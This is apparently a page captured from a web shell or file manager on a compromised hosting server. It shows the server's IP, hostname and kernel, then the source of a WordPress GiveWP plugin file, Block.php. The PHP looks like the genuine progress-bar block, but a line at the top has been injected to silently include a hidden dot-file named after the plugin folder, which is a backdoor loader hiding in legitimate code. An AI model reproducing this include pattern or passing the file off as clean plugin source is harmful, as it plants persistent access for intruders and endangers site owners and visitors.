uawdijnntqw1x1x1
IP : 216.73.217.10
Hostname : premium160.web-hosting.com
Kernel : Linux premium160.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
Disable Function : None :)
OS : Linux
PATH:
/
home
/
batcwwjx
/
.
/
old
/
public_html
/
wp-content
/
.
/
plugins
/
give
/
src
/
MultiFormGoals
/
ProgressBar
/
Block.php
/
/
<?php namespace Give\MultiFormGoals\ProgressBar; use Give\MultiFormGoals\ProgressBar\Model as ProgressBar; if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); } class Block { /** * Registers Multi-Form Goals block * * @since 2.9.0 **/ public function addBlock() { register_block_type( 'give/progress-bar', [ 'render_callback' => [ $this, 'renderCallback' ], 'attributes' => [ 'ids' => [ 'type' => 'array', 'default' => [], ], 'categories' => [ 'type' => 'array', 'default' => [], ], 'tags' => [ 'type' => 'array', 'default' => [], ], 'goal' => [ 'type' => 'string', 'default' => '1000', ], 'enddate' => [ 'type' => 'string', 'default' => '', ], 'color' => [ 'type' => 'string', 'default' => '#28c77b', ], ], ] ); } /** * Returns Progress Bar block markup * * @since 2.9.0 **/ public function renderCallback( $attributes ) { $progressBar = new ProgressBar( [ 'ids' => $attributes['ids'], 'tags' => $attributes['tags'], 'categories' => $attributes['categories'], 'goal' => $attributes['goal'], 'enddate' => $attributes['enddate'], 'color' => $attributes['color'], ] ); return $progressBar->getOutput(); } public function localizeAssets() { $defaultColorPalette = [ [ 'name' => __( 'Red', 'give' ), 'color' => '#dd3333', ], [ 'name' => __( 'Orange', 'give' ), 'color' => '#dd9933', ], [ 'name' => __( 'Green', 'give' ), 'color' => '#28C77B', ], [ 'name' => __( 'Blue', 'give' ), 'color' => '#1e73be', ], [ 'name' => __( 'Purple', 'give' ), 'color' => '#8224e3', ], [ 'name' => __( 'Grey', 'give' ), 'color' => '#777777', ], ]; $editorColorPalette = get_theme_support( 'editor-color-palette' ); // Return value is in a nested array. wp_localize_script( 'give-blocks-js', 'giveProgressBarThemeSupport', [ 'editorColorPalette' => $editorColorPalette ? array_shift( $editorColorPalette ) : $defaultColorPalette, ] ); } }
/home/batcwwjx/./old/public_html/wp-content/./plugins/give/src/MultiFormGoals/ProgressBar/Block.php